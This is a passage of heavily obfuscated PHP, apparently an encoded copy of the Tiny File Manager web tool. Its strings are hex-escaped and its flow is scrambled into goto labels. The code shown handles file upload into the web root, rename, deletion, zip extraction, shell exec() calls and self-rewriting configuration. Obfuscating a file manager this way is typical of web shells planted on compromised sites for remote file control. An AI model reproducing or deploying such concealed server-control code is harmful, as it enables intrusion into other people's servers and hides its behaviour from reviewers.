"><em><?php  echo lng("\x46\157\x6c\x64\x65\162\40\151\163\x20\145\155\160\164\171"); ?>
</em></td></tr></tfoot><?php  } else { ?>
<tfoot><tr><?php  if (!FM_READONLY) { ?>
<td class="gray"></td><?php  } ?>
<td class="gray"colspan="<?php  echo !FM_IS_WIN && !$hide_Cols ? "\x36" : "\x34"; ?>
"><?php  echo lng("\x46\x75\x6c\154\x53\151\172\145") . "\72\x20\74\x73\160\141\x6e\x20\143\x6c\141\x73\x73\75\42\x62\x61\144\147\x65\40\164\145\x78\164\x2d\x62\147\55\x6c\x69\147\150\164\x20\x62\157\x72\x64\145\162\55\x72\141\x64\151\165\x73\55\60\x22\76" . fm_get_filesize($all_files_size) . "\74\x2f\163\160\x61\x6e\76"; echo lng("\106\151\x6c\x65") . "\x3a\40\74\x73\x70\x61\156\40\x63\x6c\x61\x73\x73\x3d\42\142\x61\144\x67\145\40\x74\x65\x78\x74\55\142\147\x2d\x6c\x69\x67\x68\x74\x20\142\x6f\162\x64\145\x72\x2d\x72\141\x64\151\165\163\55\x30\x22\76" . $num_files . "\74\57\x73\160\x61\x6e\76"; echo lng("\106\157\154\144\x65\162") . "\x3a\x20\x3c\163\160\x61\x6e\40\143\x6c\141\x73\x73\x3d\42\142\x61\x64\147\x65\x20\x74\x65\170\164\x2d\142\x67\x2d\154\151\147\x68\164\x20\x62\x6f\162\144\145\x72\55\x72\141\x64\x69\165\x73\x2d\60\x22\x3e" . $num_folders . "\74\x2f\163\x70\x61\156\x3e"; ?>
</td></tr></tfoot><?php  } goto Khcyg; bvpOI: defined("\x46\x4d\137\x55\120\x4c\x4f\101\x44\x5f\105\130\124\x45\116\123\111\x4f\x4e") || define("\x46\115\x5f\x55\x50\114\117\x41\104\x5f\x45\x58\124\x45\x4e\123\111\x4f\x4e", $allowed_upload_extensions); goto GTAOy; zPNjl: if (!empty($_FILES) && !FM_READONLY) { if (isset($_POST["\x74\x6f\153\145\156"])) { if (!verifyToken($_POST["\164\157\153\145\156"])) { $response = array("\x73\x74\x61\164\x75\163" => "\145\x72\x72\157\162", "\x69\x6e\146\157" => "\x49\156\x76\x61\154\151\x64\40\x54\x6f\x6b\145\156\56"); echo json_encode($response); die; } } else { $response = array("\x73\x74\141\164\165\163" => "\x65\162\x72\x6f\162", "\151\x6e\146\157" => "\124\157\153\x65\x6e\40\115\x69\x73\163\151\156\x67\x2e"); echo json_encode($response); die; } $override_file_name = false; $chunkIndex = $_POST["\144\x7a\143\150\165\x6e\153\151\x6e\x64\145\x78"]; $chunkTotal = $_POST["\x64\x7a\164\x6f\x74\141\154\x63\x68\165\x6e\153\143\x6f\x75\156\164"]; $fullPathInput = fm_clean_path($_REQUEST["\146\165\x6c\154\160\x61\x74\150"]); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= "\x2f" . FM_PATH; } $errors = 0; $uploads = 0; $allowed = FM_UPLOAD_EXTENSION ? explode("\54", FM_UPLOAD_EXTENSION) : false; $response = array("\x73\164\141\164\x75\x73" => "\x65\162\162\x6f\x72", "\151\156\146\157" => "\x4f\157\160\x73\41\x20\124\x72\171\x20\141\x67\x61\151\156"); $filename = $f["\x66\151\154\145"]["\x6e\x61\x6d\x65"]; $tmp_name = $f["\146\x69\x6c\145"]["\x74\155\x70\137\156\x61\x6d\145"]; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = $allowed ? in_array($ext, $allowed) : true; if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array("\163\164\x61\x74\165\163" => "\x65\162\x72\157\x72", "\151\156\146\157" => "\x49\156\166\x61\x6c\x69\x64\x20\x46\x69\154\145\x20\x6e\x61\155\x65\41"); echo json_encode($response); die; } $targetPath = $path . $ds; if (is_writable($targetPath)) { $fullPath = $path . "\57" . basename($fullPathInput); $folder = substr($fullPath, 0, strrpos($fullPath, "\x2f")); if (file_exists($fullPath) && !$override_file_name && !$chunks) { $ext_1 = $ext ? "\56" . $ext : ''; $fullPath = $path . "\57" . basename($fullPathInput, $ext_1) . "\x5f" . date("\171\155\144\x48\x69\x73") . $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 511, true); umask($old); } if (empty($f["\x66\151\154\145"]["\145\162\x72\x6f\x72"]) && !empty($tmp_name) && $tmp_name != "\156\157\x6e\x65" && $isFileAllowed) { if ($chunkTotal) { $out = @fopen("{$fullPath}\56\x70\x61\162\164", $chunkIndex == 0 ? "\x77\142" : "\141\x62"); if ($out) { $in = @fopen($tmp_name, "\x72\x62"); if ($in) { while ($buff = fread($in, 4096)) { fwrite($out, $buff); } $response = array("\x73\164\141\x74\165\x73" => "\x73\165\143\143\145\x73\x73", "\x69\x6e\x66\157" => "\146\151\154\145\40\x75\x70\x6c\157\x61\x64\40\163\165\x63\143\x65\163\x73\x66\165\x6c", "\x66\165\x6c\154\x50\141\x74\150" => $fullPath); } else { $response = array("\163\x74\x61\164\x75\163" => "\x65\x72\162\157\162", "\x69\x6e\146\157" => "\x66\141\x69\x6c\145\144\40\x74\157\x20\157\160\145\156\40\x6f\165\x74\x70\165\x74\x20\x73\x74\x72\145\x61\155", "\145\x72\x72\157\x72\x44\145\x74\x61\x69\154\163" => error_get_last()); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array("\x73\164\x61\x74\165\x73" => "\x73\165\143\143\x65\163\x73", "\x69\156\x66\x6f" => "\146\x69\154\145\x20\165\160\x6c\x6f\x61\x64\x20\x73\x75\143\x63\x65\x73\x73\x66\165\x6c", "\x66\x75\154\x6c\x50\x61\164\x68" => $fullPath); } else { $response = array("\163\164\141\164\x75\x73" => "\145\162\162\x6f\x72", "\151\x6e\x66\157" => "\146\x61\151\x6c\145\x64\40\x74\157\x20\x6f\160\145\156\40\x6f\165\x74\x70\x75\x74\x20\x73\x74\x72\145\x61\x6d"); } if ($chunkIndex == $chunkTotal - 1) { rename("{$fullPath}\x2e\160\141\x72\x74", $fullPath); } } else { if (move_uploaded_file($tmp_name, $fullPath)) { if (file_exists($fullPath)) { $response = array("\163\164\141\164\165\163" => "\x73\165\143\143\145\x73\163", "\151\x6e\x66\157" => "\146\151\x6c\145\40\x75\160\154\157\x61\144\x20\163\x75\143\x63\x65\x73\163\146\x75\154"); } else { $response = array("\x73\164\141\x74\165\x73" => "\x65\x72\162\157\x72", "\x69\156\146\x6f" => "\x43\x6f\x75\154\144\x6e\47\164\40\x75\x70\x6c\157\141\x64\40\164\150\x65\40\162\145\x71\x75\x65\x73\164\145\144\x20\x66\x69\x6c\x65\56"); } } else { $response = array("\163\x74\141\x74\165\163" => "\x65\162\x72\157\x72", "\x69\156\146\x6f" => "\x45\162\x72\157\162\x20\x77\150\151\x6c\x65\x20\165\160\154\157\x61\x64\x69\x6e\x67\x20\x66\151\x6c\145\163\56\x20\x55\x70\x6c\x6f\141\x64\145\144\x20\146\151\x6c\145\163\40{$uploads}"); } } } } else { $response = array("\x73\x74\x61\164\x75\163" => "\145\x72\x72\x6f\162", "\x69\x6e\146\x6f" => "\x54\x68\145\40\163\160\x65\143\x69\x66\x69\x65\x64\40\146\x6f\x6c\x64\145\162\40\146\x6f\x72\x20\x75\160\154\x6f\141\x64\x20\151\163\156\47\164\x20\x77\x72\151\164\x65\x61\x62\x6c\145\x2e"); } echo json_encode($response); die; } goto YRYFU; W21lx: class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url . $_SERVER["\x50\x48\120\x5f\x53\x45\x4c\x46"]; $this->data = array("\154\141\x6e\147" => "\x65\156", "\145\x72\x72\157\x72\137\162\x65\x70\157\x72\x74\x69\x6e\x67" => true, "\163\150\157\167\137\150\151\144\144\145\x6e" => true); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = "\124\151\x6e\171\40\106\151\x6c\x65\40\x4d\x61\x6e\x61\x67\145\x72\74\x62\162\76\105\x72\x72\157\x72\x3a\40\103\x61\156\156\x6f\x74\40\x6c\157\x61\144\x20\x63\157\x6e\x66\151\x67\165\x72\141\164\151\157\156"; if (substr($fm_url, -1) == "\x2f") { $fm_url = rtrim($fm_url, "\x2f"); $msg .= "\x3c\x62\x72\x3e"; $msg .= "\x3c\x62\x72\76\x53\x65\145\155\163\x20\154\x69\153\145\40\171\x6f\165\40\x68\x61\x76\145\x20\x61\40\164\162\141\x69\x6c\151\156\x67\40\x73\x6c\141\163\150\x20\x6f\156\x20\164\x68\145\x20\x55\x52\114\x2e"; $msg .= "\74\142\162\76\x54\162\x79\x20\x74\x68\151\x73\40\154\151\x6e\153\72\x20\74\141\40\150\x72\x65\x66\x3d\x22" . $fm_url . "\42\76" . $fm_url . "\x3c\x2f\141\x3e"; } die($msg); } if (is_array($data) && count($data)) { $this->data = $data; } else { $this->save(); } } function save() { $fm_file = __FILE__; $var_name = "\44\103\117\x4e\x46\111\107"; $var_value = var_export(json_encode($this->data), true); $config_string = "\x3c\77\160\150\x70" . chr(13) . chr(10) . "\57\x2f\104\145\x66\x61\165\154\x74\x20\x43\x6f\156\x66\151\x67\165\x72\141\164\151\157\x6e" . chr(13) . chr(10) . "{$var_name}\40\75\40{$var_value}\x3b" . chr(13) . chr(10); if (is_writable($fm_file)) { $lines = file($fm_file); if ($fh = @fopen($fm_file, "\x77")) { @fputs($fh, $config_string, strlen($config_string)); for ($x = 3; $x < count($lines); $x++) { @fputs($fh, $lines[$x], strlen($lines[$x])); } @fclose($fh); } } } } goto WuHM2; OF3bQ: function fm_get_filesize($size) { $size = (double) $size; $units = array("\102", "\x4b\102", "\x4d\x42", "\107\x42", "\124\x42", "\120\x42", "\x45\102", "\x5a\x42", "\x59\x42"); $power = $size > 0 ? floor(log($size, 1024)) : 0; $power = $power > count($units) - 1 ? count($units) - 1 : $power; return sprintf("\45\163\x20\45\x73", round($size / pow(1024, $power), 2), $units[$power]); } goto M3gSJ; mtv_E: function fm_get_text_names() { return array("\x6c\151\143\x65\156\x73\145", "\x72\x65\141\144\x6d\x65", "\141\165\x74\150\x6f\x72\x73", "\x63\157\x6e\x74\x72\151\142\165\164\157\162\x73", "\x63\x68\141\156\x67\145\x6c\157\x67"); } goto GAdSp; LP06H: $max_upload_size_bytes = 10000000000; goto iCsXS; LMfGQ: function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = strtoupper(substr(PHP_OS, 0, 3)) == "\127\x49\116"; } if (!isset($isdarwin)) { $isdarwin = strtoupper(substr(PHP_OS, 0)) == "\x44\x41\x52\127\111\116"; } static $exec_works; if (!isset($exec_works)) { $exec_works = function_exists("\145\170\x65\143") && !ini_get("\x73\x61\x66\x65\137\155\157\x64\x65") && @exec("\x65\143\x68\157\x20\x45\x58\105\x43") == "\105\x58\105\103"; } if ($exec_works) { $arg = escapeshellarg($file); $cmd = $iswin ? "\146\157\x72\x20\x25\106\40\x69\x6e\x20\50\x22{$file}\42\51\40\144\157\40\100\145\143\150\157\x20\45\x7e\172\x46" : ($isdarwin ? "\x73\x74\x61\164\40\x2d\146\45\x7a\x20{$arg}" : "\x73\164\x61\164\x20\55\x63\45\x73\40{$arg}"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\xa", $output)))) { return $size; } } if ($iswin && class_exists("\103\117\115")) { try { $fsobj = new COM("\123\143\162\151\x70\164\x69\156\x67\x2e\106\151\154\145\x53\x79\163\x74\145\x6d\x4f\x62\x6a\145\143\x74"); $f = $fsobj->GetFile(realpath($file)); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } return filesize($file); } goto OF3bQ; aBnDk: function fm_is_valid_ext($filename) { $allowed = FM_FILE_EXTENSION ? explode("\x2c", FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = $allowed ? in_array($ext, $allowed) : true; return $isFileAllowed ? true : false; } goto aJnG7; AU518: defined("\106\x4d\x5f\104\x41\124\105\x54\111\x4d\105\x5f\x46\x4f\x52\115\101\x54") || define("\106\115\137\104\x41\x54\x45\x54\x49\115\x45\x5f\106\x4f\x52\x4d\x41\x54", $datetime_format); goto WwVsO; qWDWw: $iconv_input_encoding = "\125\124\106\x2d\70"; goto vGJ57; fAzLc: echo lng("\115\x6f\x64\151\x66\x69\x65\x64"); goto a0Xm3; szBGb: if (isset($_POST["\x72\145\156\x61\155\x65\x5f\x66\x72\157\155"], $_POST["\162\x65\156\141\x6d\145\x5f\x74\x6f"], $_POST["\164\x6f\153\x65\156"]) && !FM_READONLY) { if (!verifyToken($_POST["\x74\x6f\153\x65\x6e"])) { fm_set_msg("\x49\156\x76\141\x6c\151\x64\40\124\157\153\145\156\x2e", "\x65\x72\x72\x6f\162"); } $old = $_POST["\x72\145\156\x61\155\145\x5f\x66\x72\157\x6d"]; $old = fm_clean_path($old); $old = str_replace("\57", '', $old); $new = $_POST["\x72\x65\156\x61\x6d\145\137\x74\x6f"]; $new = fm_clean_path(strip_tags($new)); $new = str_replace("\57", '', $new); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\x2f" . FM_PATH; } if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . "\57" . $old, $path . "\57" . $new)) { fm_set_msg(sprintf(lng("\122\x65\x6e\141\155\x65\x64\x20\x66\162\157\x6d") . "\x20\74\x62\x3e\x25\x73\x3c\x2f\142\x3e\x20" . lng("\164\157") . "\40\74\x62\76\45\x73\x3c\x2f\142\x3e", fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng("\105\162\162\157\x72\40\167\x68\x69\154\x65\40\x72\145\156\x61\155\151\x6e\x67\40\x66\162\x6f\x6d") . "\40\74\x62\76\x25\x73\x3c\57\142\x3e\40" . lng("\164\157") . "\x20\74\142\76\x25\163\74\x2f\x62\76", fm_enc($old), fm_enc($new)), "\145\x72\x72\157\162"); } } else { fm_set_msg(lng("\x49\x6e\166\141\x6c\x69\x64\40\143\x68\x61\162\x61\143\164\145\x72\163\40\151\x6e\40\x66\151\154\145\x20\x6e\x61\155\x65"), "\145\162\x72\x6f\x72"); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\x3d" . urlencode($FM_PATH)); } goto VNONn; g9Qp2: foreach ($files as $f) { $is_link = is_link($path . "\x2f" . $f); $img = $is_link ? "\146\141\x20\146\141\55\146\151\x6c\x65\55\x74\x65\170\164\x2d\157" : fm_get_file_icon_class($path . "\x2f" . $f); $modif_raw = filemtime($path . "\x2f" . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $date_sorting = strtotime(date("\x46\x20\x64\40\x59\x20\110\72\151\x3a\163\x2e", $modif_raw)); $filesize_raw = fm_get_size($path . "\57" . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = "\77\x70\75" . urlencode(FM_PATH) . "\46\141\x6d\x70\x3b\x76\151\145\167\75" . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . "\57" . $f)), -4); if (function_exists("\160\157\x73\x69\x78\137\147\x65\164\160\x77\165\151\x64") && function_exists("\x70\x6f\x73\151\170\137\147\x65\164\x67\x72\147\x69\144")) { $owner = posix_getpwuid(fileowner($path . "\57" . $f)); $group = posix_getgrgid(filegroup($path . "\x2f" . $f)); } else { $owner = array("\x6e\x61\155\x65" => "\77"); $group = array("\x6e\141\x6d\145" => "\77"); } ?>
<tr><?php  if (!FM_READONLY) { ?>
<td class="custom-checkbox-td"><div class="custom-checkbox custom-control"><input name="file[]"type="checkbox"value="<?php  echo fm_enc($f); ?>
"id="<?php  echo $ik; ?>
"class="custom-control-input"> <label for="<?php  echo $ik; ?>
"class="custom-control-label"></label></div></td><?php  } ?>
<td data-sort="<?php  echo fm_enc($f); ?>
"><div class="filename"><?php  if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array("\147\x69\x66", "\x6a\x70\x67", "\x6a\x70\145\x67", "\x70\156\x67", "\142\155\x70", "\x69\143\x6f", "\163\x76\147", "\167\145\x62\x70", "\141\166\151\x66"))) { $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "\x2f" . FM_PATH : '') . "\57" . $f); ?>
<a href="<?php  echo $filelink; ?>
"title="<?php  echo fm_enc($f); ?>
"data-preview-image="<?php  echo $imagePreview; ?>
"><?php  } else { ?>
<a href="<?php  echo $filelink; ?>
"title="<?php  echo $f; ?>
"><?php  } ?>
<i class="<?php  echo $img; ?>
"></i><?php  echo fm_convert_win(fm_enc($f)); ?>
</a><?php  echo $is_link ? "\40\46\162\x61\x72\162\73\x20\74\x69\76" . readlink($path . "\57" . $f) . "\x3c\x2f\151\76" : ''; ?>
</div></td><td data-order="b-<?php  echo str_pad($filesize_raw, 18, "\60", STR_PAD_LEFT); ?>
"><span title="<?php  printf("\45\163\x20\x62\x79\164\x65\x73", $filesize_raw); ?>
"><?php  echo $filesize; ?>
</span></td><td data-order="b-<?php  echo $date_sorting; ?>
"><?php  echo $modif; ?>
</td><?php  if (!FM_IS_WIN && !$hide_Cols) { ?>
<td><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&chmod=<?php  echo urlencode($f); ?>
"title="<?php  echo "\x43\150\141\x6e\147\145\x20\120\145\162\x6d\x69\163\163\151\157\156\x73"; ?>
"><?php  echo $perms; ?>
</a><?php  } else { echo $perms; } ?>
</td><td><?php  echo fm_enc($owner["\x6e\x61\x6d\x65"] . "\72" . $group["\x6e\141\x6d\x65"]); ?>
</td><?php  } ?>
<td class="inline-actions"><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&del=<?php  echo urlencode($f); ?>
"title="<?php  echo lng("\x44\145\x6c\145\x74\145"); ?>
"onclick='confirmDailog(event,1209,"<?php  echo lng("\104\x65\x6c\x65\x74\x65") . "\x20" . lng("\x46\151\154\145"); ?>
","<?php  echo urlencode($f); ?>
",this.href)'><i class="fa fa-trash-o"></i></a> <a href="#"title="<?php  echo lng("\x52\x65\156\x61\x6d\x65"); ?>
"onclick='return rename("<?php  echo fm_enc(addslashes(FM_PATH)); ?>
","<?php  echo fm_enc(addslashes($f)); ?>
"),!1'><i class="fa fa-pencil-square-o"></i></a> <a href="?p=<?php  echo urlencode(FM_PATH); ?>
&copy=<?php  echo urlencode(trim(FM_PATH . "\x2f" . $f, "\57")); ?>
"title="<?php  echo lng("\x43\x6f\160\x79\124\157"); ?>
..."><i class="fa fa-files-o"></i></a><?php  } ?>
<a href="<?php  echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "\57" . FM_PATH : '') . "\x2f" . $f); ?>
"title="<?php  echo lng("\x44\151\162\x65\x63\164\114\151\156\153"); ?>
"target="_blank"><i class="fa fa-link"></i></a> <a href="?p=<?php  echo urlencode(FM_PATH); ?>
&dl=<?php  echo urlencode($f); ?>
"title="<?php  echo lng("\104\157\167\x6e\x6c\157\141\x64"); ?>
"onclick='confirmDailog(event,1211,"<?php  echo lng("\x44\157\167\x6e\x6c\x6f\141\x64"); ?>
","<?php  echo urlencode($f); ?>
",this.href)'><i class="fa fa-download"></i></a></td></tr><?php  flush(); $ik++; } goto MHJPg; OBoK2: function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } goto mO3hf; E2HRC: $root_path = str_replace("\134", "\57", $root_path); goto TPc_v; ybgEe: $parent = fm_get_parent_path(FM_PATH); goto ItuH7; DhYJH: if (isset($_GET["\x64\145\x6c"], $_POST["\164\x6f\x6b\145\x6e"]) && !FM_READONLY) { $del = str_replace("\57", '', fm_clean_path($_GET["\x64\145\154"])); if ($del != '' && $del != "\x2e\x2e" && $del != "\x2e" && verifyToken($_POST["\164\157\x6b\x65\156"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\57" . FM_PATH; } $is_dir = is_dir($path . "\57" . $del); if (fm_rdelete($path . "\57" . $del)) { $msg = $is_dir ? lng("\106\157\x6c\x64\x65\x72") . "\40\x3c\142\x3e\45\163\74\x2f\x62\76\x20" . lng("\x44\x65\154\145\x74\145\x64") : lng("\x46\151\154\x65") . "\x20\74\142\76\45\x73\x3c\x2f\x62\76\40" . lng("\x44\x65\x6c\145\164\x65\x64"); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng("\x46\x6f\x6c\144\x65\x72") . "\40\x3c\x62\x3e\45\x73\74\x2f\142\76\x20" . lng("\x6e\x6f\164\40\x64\145\x6c\x65\x74\x65\144") : lng("\x46\151\x6c\145") . "\x20\x3c\x62\x3e\x25\x73\74\x2f\x62\76\40" . lng("\x6e\157\164\x20\x64\145\x6c\145\164\145\x64"); fm_set_msg(sprintf($msg, fm_enc($del)), "\x65\x72\x72\157\162"); } } else { fm_set_msg(lng("\x49\x6e\166\x61\154\151\x64\40\146\x69\x6c\145\x20\x6f\x72\x20\146\x6f\x6c\x64\x65\x72\40\x6e\141\155\x65"), "\145\162\162\157\x72"); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\x3d" . urlencode($FM_PATH)); } goto bDrV5; wbSU3: define("\x46\x4d\x5f\x50\101\x54\110", $p); goto R4l3U; BfLZb: define("\x46\x4d\137\122\105\101\x44\117\x4e\x4c\x59", $global_readonly || $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]["\154\x6f\147\147\x65\144"]) && in_array($_SESSION[FM_SESSION_ID]["\154\157\x67\x67\145\144"], $readonly_users)); goto E79mH; Y4iQA: $theme = isset($cfg->data["\164\150\x65\155\x65"]) ? $cfg->data["\x74\150\x65\155\145"] : "\x6c\x69\147\x68\164"; goto IXo5y; Q2d9H: defined("\x46\115\x5f\106\x49\x4c\105\137\105\x58\x54\x45\x4e\x53\x49\117\x4e") || define("\x46\x4d\x5f\x46\111\x4c\105\x5f\105\x58\124\x45\x4e\123\111\117\x4e", $allowed_file_extensions); goto bvpOI; tj1A6: if ($use_auth && isset($_SESSION[FM_SESSION_ID]["\154\157\147\147\x65\144"])) { $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]["\154\157\x67\147\145\x64"]]) ? $directories_users[$_SESSION[FM_SESSION_ID]["\x6c\157\147\147\145\x64"]] : $root_path; } goto RKIqF; y43Tz: if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == "\x2e" || $file == "\x2e\56") { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === "\x2e") { continue; } $new_path = $path . "\57" . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != "\x2e" && $file != "\x2e\56" && fm_is_exclude_items($file)) { $folders[] = $file; } } } goto V7k_4; Dpz8g: ?>
<form method="post"action=""class="pt-3"><input name="p"type="hidden"value="<?php  goto Tj2VO; F4eW0: function fm_get_text_mimes() { return array("\141\160\x70\154\151\143\141\164\151\157\156\x2f\170\155\154", "\141\x70\160\154\x69\x63\141\164\x69\x6f\x6e\x2f\x6a\141\166\x61\x73\x63\162\151\160\x74", "\x61\160\x70\154\x69\143\141\164\x69\157\x6e\x2f\x78\55\152\141\166\x61\163\143\x72\x69\x70\x74", "\x69\155\141\x67\x65\x2f\x73\166\147\53\170\x6d\x6c", "\x6d\x65\163\163\x61\x67\x65\x2f\x72\x66\x63\70\62\62", "\x61\x70\x70\154\151\143\x61\x74\x69\157\x6e\x2f\152\163\x6f\x6e"); } goto mtv_E; LIoEX: $favicon_path = ''; goto WIQ8T; iUEK0: ?>
</div></form><?php  goto juM18; oNn8B: $lang = isset($cfg->data["\154\x61\x6e\x67"]) ? $cfg->data["\x6c\x61\156\147"] : "\145\156"; goto lc9rA; AyCLQ: $use_auth = true; goto XsBdO; Khcyg: ?>
</table></div><div class="row"><?php  goto vdiIo; juM18: fm_show_footer(); goto HYSZ2; uaRrs: $http_host = $_SERVER["\x48\x54\124\x50\x5f\110\x4f\x53\x54"]; goto qWDWw; a0Xm3: ?>
</th><?php  goto mZKnm; QkX0W: class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != "\x2e" && $file != "\x2e\56") { if (is_dir($path . "\57" . $file)) { if (!$this->addDir($path . "\x2f" . $file)) { return false; } } elseif (is_file($path . "\x2f" . $file)) { if (!$this->zip->addFile($path . "\57" . $file)) { return false; } } } } return true; } return false; } } goto Q7sdU; aJnG7: function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if (!is_dir($old)) { if (!$isFileAllowed) { return false; } } return !file_exists($new) && file_exists($old) ? rename($old, $new) : null; } goto JjRla; X2dg_: if (defined("\106\115\x5f\105\x4d\x42\x45\104")) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set("\x64\x65\146\x61\x75\154\164\137\x63\x68\141\x72\163\x65\164", "\125\124\x46\x2d\x38"); if (version_compare(PHP_VERSION, "\x35\56\66\56\x30", "\74") && function_exists("\155\142\x5f\x69\156\x74\x65\162\156\141\x6c\x5f\x65\x6e\143\157\x64\x69\156\147")) { mb_internal_encoding("\x55\124\106\55\70"); } if (function_exists("\155\142\137\162\145\147\x65\170\137\145\x6e\x63\x6f\x64\x69\x6e\147")) { mb_regex_encoding("\x55\x54\106\x2d\70"); } session_cache_limiter(''); session_name(FM_SESSION_ID); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler("\163\145\163\x73\151\x6f\x6e\x5f\145\162\162\157\x72\x5f\150\141\x6e\144\154\151\x6e\x67\137\x66\x75\x6e\x63\164\151\x6f\156"); session_start(); restore_error_handler(); } goto x6zPX; DY1Bk: defined("\x46\115\137\x55\123\105\x5f\x48\x49\x47\x48\x4c\111\x47\x48\x54\112\x53") || define("\x46\x4d\x5f\125\x53\105\x5f\110\111\107\110\114\x49\107\110\124\x4a\123", $use_highlightjs); goto jeynd; tD2_x: $config_file = __DIR__ . "\57\x63\x6f\x6e\146\x69\x67\56\160\x68\x70"; goto TwZZA; Xr7Mv: $root_path = $_SERVER["\x44\x4f\103\125\x4d\105\116\124\137\122\117\x4f\x54"]; goto oH07H; Gw1vg: function fm_get_image_exts() { return array("\151\x63\157", "\x67\x69\146", "\152\160\x67", "\152\x70\145\147", "\152\x70\x63", "\x6a\160\62", "\x6a\x70\x78", "\x78\142\x6d", "\167\x62\x6d\x70", "\x70\x6e\x67", "\x62\x6d\x70", "\164\151\146", "\164\151\146\x66", "\160\163\x64", "\x73\166\147", "\x77\145\x62\x70", "\x61\x76\x69\146"); } goto nKKsC; lAbCw: function fm_get_file_icon_class($path) { $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case "\x69\x63\x6f": case "\147\151\x66": case "\152\160\147": case "\152\x70\x65\x67": case "\152\160\143": case "\152\160\62": case "\x6a\160\x78": case "\170\142\155": case "\x77\142\x6d\x70": case "\x70\156\x67": case "\142\x6d\160": case "\164\151\146": case "\x74\151\146\x66": case "\167\x65\142\160": case "\141\166\x69\x66": case "\x73\x76\147": $img = "\x66\141\40\146\x61\55\160\x69\143\164\165\x72\x65\55\157"; break; case "\160\x61\163\x73\x77\144": case "\x66\x74\x70\161\165\x6f\x74\141": case "\x73\x71\154": case "\x6a\x73": case "\164\x73": case "\x6a\x73\170": case "\164\163\170": case "\150\x62\163": case "\x6a\x73\x6f\156": case "\163\x68": case "\x63\x6f\x6e\146\x69\147": case "\x74\x77\x69\x67": case "\164\x70\154": case "\155\x64": case "\147\151\164\x69\x67\x6e\x6f\x72\x65": case "\143": case "\143\160\x70": case "\143\163": case "\160\x79": case "\162\163": case "\155\x61\x70": case "\154\x6f\143\153": case "\x64\x74\144": $img = "\x66\141\x20\146\x61\55\146\151\154\145\x2d\x63\157\144\145\x2d\x6f"; break; case "\164\x78\164": case "\x69\x6e\151": case "\x63\157\x6e\146": case "\x6c\157\x67": case "\150\x74\141\x63\143\145\163\x73": case "\171\141\155\154": case "\171\x6d\x6c": case "\x74\x6f\155\x6c": $img = "\x66\141\x20\146\x61\55\146\151\x6c\x65\x2d\x74\145\x78\x74\55\157"; break; case "\x63\x73\x73": case "\x6c\x65\x73\163": case "\x73\x61\163\163": case "\x73\x63\163\x73": $img = "\146\141\x20\146\x61\55\x63\x73\x73\x33"; break; case "\x62\x7a\62": case "\172\151\x70": case "\162\141\x72": case "\x67\x7a": case "\164\x61\x72": case "\67\172": case "\x78\172": $img = "\x66\141\40\146\x61\55\146\151\154\x65\55\x61\x72\143\x68\x69\x76\145\x2d\157"; break; case "\x70\150\x70": case "\160\x68\x70\x34": case "\x70\x68\160\65": case "\160\150\x70\x73": 